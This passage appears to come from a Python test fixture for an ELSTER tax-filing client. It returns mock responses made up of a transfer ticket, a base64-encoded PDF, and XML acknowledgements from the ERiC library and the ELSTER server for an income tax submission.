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DAgbg0KMDAwMDAwMDA2NCAwMDAwMCBuDQowMDAwMDAwMTMwIDAwMDAwIG4NCjAwMDAwMDAxOTQgMDAwMDAgbg0KMDAwMDAwMDM5MSAwMDAwMCBuDQowMDAwMDAxOTY4IDAwMDAwIG4NCjAwMDAwMDE5ODggMDAwMDAgbg0KMDAwMDAwMjE0MSAwMDAwMCBuDQowMDAwMDAyNzMyIDAwMDAwIG4NCjAwMDAwMDI3NTEgMDAwMDAgbg0KMDAwMDAwNTY5NyAwMDAwMCBuDQowMDAwMDA3MDMzIDAwMDAwIG4NCjAwMDAwMDcwNTQgMDAwMDAgbg0KMDAwMDAwNzIwNyAwMDAwMCBuDQowMDAwMDA3ODAwIDAwMDAwIG4NCjAwMDAwMDc4MjAgMDAwMDAgbg0KMDAwMDAxMDc2NCAwMDAwMCBuDQowMDAwMDEyMTAwIDAwMDAwIG4NCjAwMDAwMTIxMjEgMDAwMDAgbg0KMDAwMDAxMjMyMCAwMDAwMCBuDQowMDAwMDE0NjI3IDAwMDAwIG4NCjAwMDAwMTQ2NDggMDAwMDAgbg0KMDAwMDAyNjYzMSAwMDAwMCBuDQowMDAwMDI2NjUzIDAwMDAwIG4NCjAwMDAwMjY4NjIgMDAwMDAgbg0KMDAwMDA0MDM3NSAwMDAwMCBuDQowMDAwMDQwMzk3IDAwMDAwIG4NCnRyYWlsZXIKPDwKL1Jvb3QgMSAwIFIKL0luZm8gMyAwIFIKL1NpemUgMjgKPj4Kc3RhcnR4cmVmCjQwNjAwCiUlRU9GCg==",
"eric_response": "<?xml version=\"1.0\" ?>\n<EricBearbeiteVorgang xmlns=\"http://www.elster.de/EricXML/1.0/EricBearbeiteVorgang\">\n \n\t\n <Erfolg>\n \n\t\t\n <Telenummer>EDJ</Telenummer>\n \n\t\n </Erfolg>\n \n\n</EricBearbeiteVorgang>\n",
"server_response": "<?xml version=\"1.0\" ?>\n<Elster xmlns=\"http://www.elster.de/elsterxml/schema/v11\">\n <TransferHeader version=\"11\">\n <Verfahren>ElsterErklaerung</Verfahren>\n <DatenArt>ESt</DatenArt>\n <Vorgang>send-Auth</Vorgang>\n <TransferTicket>et036422myggf53jxax8uy92dmvkete8</TransferTicket>\n <Testmerker>700000004</Testmerker>\n <Empfaenger id=\"L\">\n <Ziel>BY</Ziel>\n </Empfaenger>\n <HerstellerID>74931</HerstellerID>\n <DatenLieferant>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAj/+g5OKVYn7aCA\nBCguKhpqGRSbN6vtZxZIeR+1MtyAS4q+BcPXb/MpGykjQeOarebvRyynAAAAAAAAAAAAAA==\n</DatenLieferant>\n <EingangsDatum>20210205093700</EingangsDatum>\n <Datei>\n <Verschluesselung>CMSEncryptedData</Verschluesselung>\n <Kompression>GZIP</Kompression>\n <TransportSchluessel>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAghtUn/FSBKxaCA\nBBg+pdzZNZgnU9zegwn8OVJcvV2ye7gr6ZAAAAAAAAAAAAAA\n</TransportSchluessel>\n </Datei>\n <RC>\n <Rueckgabe>\n <Code>0</Code>\n <Text>Daten wurden erfolgreich angenommen.</Text>\n </Rueckgabe>\n <Stack>\n <Code/>\n <Text/>\n </Stack>\n </RC>\n <VersionClient>1</VersionClient>\n </TransferHeader>\n <DatenTeil/>\n</Elster>\n"
}
if keyword == 'est_without_tax_number_including_responses':
return{
"transfer_ticket": "et036422myggf53jxax8uy92dmvkete8",
"pdf": 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gMjU2IDUxNCA1MTQgNTE0IDQyOSA4MDcgNjIxIDYwNCA1NzMgNjY2IDUwNCA0OTQgNjUxIDY4OCAzNTAgMjk3IDU5NyA1MDggODQ4IDczMSA3MTYgNTY1IDcxNiA1OTQgNDk1IDUyMSA2ODAgNTg1IDg3MCA2MDAgNTYxIDUyMSAyOTcgMzcxIDI5NyA1MTQgMzY5IDMyNSA1NDMgNTY5IDQ2MiA1NjkgNTMxIDM0OCA1NjkgNTkxIDI3NCAyNzQgNTU4IDI3NCA4ODMgNTkxIDU1NyA1NjkgNTY5IDQwOCA0NDcgMzkwIDU5MSA1MTIgNzcwIDUyMCA1MTIgNDM5IDM1NCA0OTUgMzU0IDUxNCBdIDE2MCBbIDIzNCAyNTcgNTE0IDUxNCA1MTQgNTE0IDQ5NSA0MzcgNTQ2IDc0OCAzNDQgNTUzIDUxNCAyODkgNzQ4IDQ1MCAzODUgNTE0IDM0MSAzNDEgMzI1IDU5NCA1ODkgMjU2IDE4NCAzNDEgMzQ5IDU1MyA3NDcgNzg2IDc2MCA0MjkgNjIxIDYyMSA2MjEgNjIxIDYyMSA2MjEgODU2IDU3MyA1MDQgNTA0IDUwNCA1MDQgMzUwIDM1MCAzNTAgMzUwIDY2NiA3MzEgNzE2IDcxNiA3MTYgNzE2IDcxNiA1MTQgNzE2IDY4MCA2ODAgNjgwIDY4MCA1NjEgNTY1IDYzOSA1NDMgNTQzIDU0MyA1NDMgNTQzIDU0MyA4MjUgNDYyIDUzMSA1MzEgNTMxIDUzMSAyNzQgMjc0IDI3NCAyNzQgNTU3IDU5MSA1NTcgNTU3IDU1NyA1NTcgNTU3IDUxNCA1NTcgNTkxIDU5MSA1OTEgNTkxIDUxMiA1NjkgNTEyIDYyMSA1NDMgNjIxIDU0MyA2MjEgNTQzIDU3MyA0NjIgXSAyNjYgWyA1NzMgNDYyIDU3MyA0NjIgNjY2IDU2OSA2NjYgNTg0IDUwNCA1MzEgNTA0IDUzMSA1MDQgNTMxIDUwNCA1MzEgNTA0IDUzMSBdIDI4NiBbIDY1MSA1NjkgNjUxIDU2OSA2NTEgNTY5IF0gMjk0IFsgNjg4IDU5MSAzNTAgMjc0IDM1MCAyNzQgMzUwIDI3NCAzNTAgMjc0IDM1MCAyNzQgXSAzMDggWyAyOTcgMjc0IDU5NyA1NTggNTU4IDUwOCAyNzQgNTA4IDI3NCA1MDggMjc0IDUwOCAzMjUgNTA4IDI3NCA3MzEgNTkxIDczMSA1OTEgNzMxIDU5MSA2OTMgNzMxIDU5MSA3MTYgNTU3IDcxNiA1NTcgNzE2IDU1NyA4NzUgODgwIDU5NCA0MDggNTk0IDQwOCA1OTQgNDA4IDQ5NSA0NDcgXSAzNTAgWyA0OTUgNDQ3IDQ5NSA0NDcgNTIxIDM5MCA1MjEgMzkwIDUyMSAzOTAgNjgwIDU5MSA2ODAgNTkxIF0gMzY2IFsgNjgwIDU5MSA2ODAgNTkxIDY4MCA1OTEgODcwIDc3MCA1NjEgNTEyIDU2MSA1MjEgNDM5IDUyMSA0MzkgNTIxIDQzOSBdIDM5OSBbIDczNSBdIDQxNiBbIDc0MiA2MTEgXSA0MzEgWyA3OTYgNjg0IF0gNDM5IFsgNTMxIF0gNDYxIFsgNjIxIDU0MyAzNTAgMjc0IDcxNiA1NTcgNjgwIDU5MSBdIDQ3OCBbIDYyMSA1NDMgXSA0ODQgWyA2NTEgNTY5IDY1MSA1NjkgNTk3IDU1OCA3MTYgNTU3IDcxNiA1NTcgNTMxIDUyMiAyNzQgXSA1MDAgWyA2NTEgNTY5IF0gNTA2IFsgNjIxIDU0MyA4NTYgODI1IDcxNiA1NTcgXSA1MzYgWyA0OTUgNDQ3IDUyMSAzOTAgXSA1NDIgWyA2ODggNTkxIF0gNTU0IFsgNzE2IDU1NyBdIDU1OCBbIDcxNiA1NTcgNzE2IDU1NyA1NjEgNTEyIF0gNTY3IFsgMjc0IF0gNjAxIFsgNTMxIF0gNjU4IFsgNTIyIF0gNzEwIFsgNDUzIDQ1MyBdIDcxMyBbIDM2OSBdIDcyOCBbIDQxNyAyMTcgMjkyIDI1MCA0MzYgNDY0IF0gNzcwIFsgMCBdIDc4MCBbIDAgXSA4MDMgWyAwIF0gMTI0MCBbIDczNSBdIDEyNDggWyA1MzEgNTIyIF0gNzY4MiBbIDYwNCA1NjkgXSA3NjkwIFsgNjY2IDU2OSBdIDc2OTYgWyA2NjYgNTY5IF0gNzcxMCBbIDQ5NCAzNDggNjUxIDU2OSBdIDc3MTYgWyA2ODggNTkxIDY4OCA1OTEgXSA3NzI4IFsgNTk3IDU1OCBdIDc3NDQgWyA4NDggODgzIF0gNzc0OCBbIDczMSA1OTEgXSA3NzY2IFsgNTY1IDU2OSBdIDc3NzYgWyA0OTUgNDQ3IDQ5NSA0NDcgXSA3Nzg2IFsgNTIxIDM5MCBdIDc4MDggWyA4NzAgNzcwIDg3MCA3NzAgODcwIDc3MCBdIDc4MjAgWyA2MDAgNTIwIDU2MSA1MTIgNTIxIDQzOSA1MjEgNDM5IF0gNzgzOCBbIDY4NiBdIDc4NDAgWyA2MjEgNTQzIDYyMSA1NDMgNjIxIDU0MyA2MjEgNTQzIF0gNzg1MCBbIDYyMSA1NDMgNjIxIF0gNzg1NCBbIDYyMSA1NDMgNjIxIDU0MyA2MjEgNTQzIDYyMSA1NDMgNjIxIDU0MyA1MDQgNTMxIDUwNCA1MzEgNTA0IDUzMSA1MDQgNTMxIDUwNCA1MzEgXSA3ODc2IFsgNTA0IDUzMSA1MDQgNTMxIDM1MCAyNzQgMzUwIDI3NCA3MTYgNTU3IDcxNiA1NTcgNzE2IDU1NyA3MTYgNTU3IF0gNzg5NCBbIDcxNiA1NTcgNzE2IDU1NyA3NDIgNjExIDc0MiA2MTEgXSA3OTA4IFsgNjgwIDU5MSA2ODAgNTkxIDc5NiA2ODQgNzk2IDY4NCA3OTYgNjg0IDc5NiA2ODQgNzk2IDY4NCA1NjEgNTEyIDU2MSA1MTIgNTYxIDUxMiA1NjEgNTEyIF0gODE5MiBbIDQ3NCA5NDggNDc0IDk0OCAzMTYgMjM3IDE1OCAxNTggMTE4IDE4OSA1MiBdIDgyMDggWyAyODkgMjg5IDI4OSA0NTAgOTAwIF0gODIxNiBbIDE5NSAxOTUgMjU2IF0gODIyMCBbIDQwMCA0MDAgNDYxIF0gODIyNiBbIDMzOCBdIDgyMzAgWyA3NjkgXSA4MjM5IFsgMTg5IF0gODI0OSBbIDMzMSAzMzEgXSA4Mjg3IFsgMjM3IF0gODM2NCBbIDUxNCBdIDg0ODIgWyA2OTUgXSA5NzI0IFsgNDkwIF0gNjQyNTcgWyA2MjIgNjIyIDk3MSA5NzEgXSBdCi9DSURUb0dJRE1hcCAxMSAwIFIKL0NJRFN5c3RlbUluZm8gPDwKL1JlZ2lzdHJ5IChBZG9iZSkKL09yZGVyaW5nIChJZGVudGl0eS1IKQovU3VwcGxlbWVudCAwCj4+Ci9CYXNlRm9udCAvSFBERkFCK05vdG9TYW5zLUJvbGQsQm9sZAovRm9udERlc2N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KtAvXM9hLQTJUMFymq5QzNTLslJNrQ7Gj/cN6wgvjPcdYwfB0XEcPNnxk6qphh4CtDVKqa2DqFr1AbEmvKGsm+AyScWzuz5wuRWkqrcNg0rrBpPMvGKeydYSz8Q+DMEjugTKiesAeSGlad1myW62wTHkhYOq4tKk6PsDkoE+1kjcY2jpHQLGwgZ2kKBm/wLAvvY9mTVVd0VQLsQORU3cwvnog27xEmLgRWNyibdem6W/o8VYhJF5+Sle7oqjR59bYuwbhI9ZI/OnBt42g2JMS1xfRYF3lBGXOLxgG81ivBczXei1sob8ZXsqF0rl6nVYl6wUkVvUj2Lsx+pcPxM7JR73gXPzJdzcrOvcmJoV9TT9S0kipx26f0g7PdM84+s9Ricrq2q39W91vtdfdOgy+ADep89oKZW5kc3RyZWFtCmVuZG9iagoxNSAwIG9iagozOTgKZW5kb2JqCjE2IDAgb2JqCjw8Ci9UeXBlIC9Gb250Ci9TdWJ0eXBlIC9DSURGb250VHlwZTIKL0RXIDM2NAovRFcyIFsgLTIxNyAtMTE2MCBdCi9XIFsgMCBbIDAgXSAxMCBbIDIzNCBdIDEzIFsgMjk5IF0gMzIgWyAyMzQgMjQyIDM2NyA1ODEgNTE0IDc0NyA2NTggMjAyIDI3MCAyNzAgNDk1IDUxNCAyNDEgMjg5IDI0MSAzMzQgNTE0IDUxNCA1MTQgNTE0IDUxNCA1MTQgNTE0IDUxNCA1MTQgNTE0IDI0MSAyNDEgNTE0IDUxNCA1MTQgMzkwIDgwOSA1NzUgNTg1IDU2OCA2NTcgNTAwIDQ2NyA2NTUgNjY2IDMwNSAyNDUgNTU3IDQ3MSA4MTYgNjg0IDcwMiA1NDQgNzAyIDU1OSA0OTQgNTAwIDY1NyA1NDAgODM3IDUyNyA1MDkgNTE0IDI5NiAzMzQgMjk2IDUxNCAzOTkgMjUyIDUwNCA1NTMgNDMyIDU1MyA1MDcgMzA5IDU1MyA1NTYgMjMyIDIzMiA0ODAgMjMyIDg0MSA1NTYgNTQ0IDU1MyA1NTMgMzcxIDQzMSAzMjQgNTU2IDQ1NyA3MDcgNDc2IDQ1OSA0MjMgMzQyIDQ5NSAzNDIgNTE0IF0gMTYwIFsgMjM0IDI0MiA1MTQgNTE0IDUxNCA1MTQgNDk1IDQ2MSA1MjIgNzQ4IDMyMSA0NTggNTE0IDI4OSA3NDggNDUwIDM4NSA1MTQgMzE1IDMxNSAyNTIgNTYwIDU4OSAyNDEgMjAyIDMxNSAzMzggNDU4IDY3MCA2OTMgNzAyIDM5MCA1NzUgNTc1IDU3NSA1NzUgNTc1IDU3NSA3OTIgNTY4IDUwMCA1MDAgNTAwIDUwMCAzMDUgMzA1IDMwNSAzMDUgNjU3IDY4NCA3MDIgNzAyIDcwMiA3MDIgNzAyIDUxNCA3MDIgNjU3IDY1NyA2NTcgNjU3IDUwOSA1NDQgNTY3IDUwNCA1MDQgNTA0IDUwNCA1MDQgNTA0IDc3NyA0MzIgNTA3IDUwNyA1MDcgNTA3IDIzMiAyMzIgMjMyIDIzMiA1NDQgNTU2IDU0NCA1NDQgNTQ0IDU0NCA1N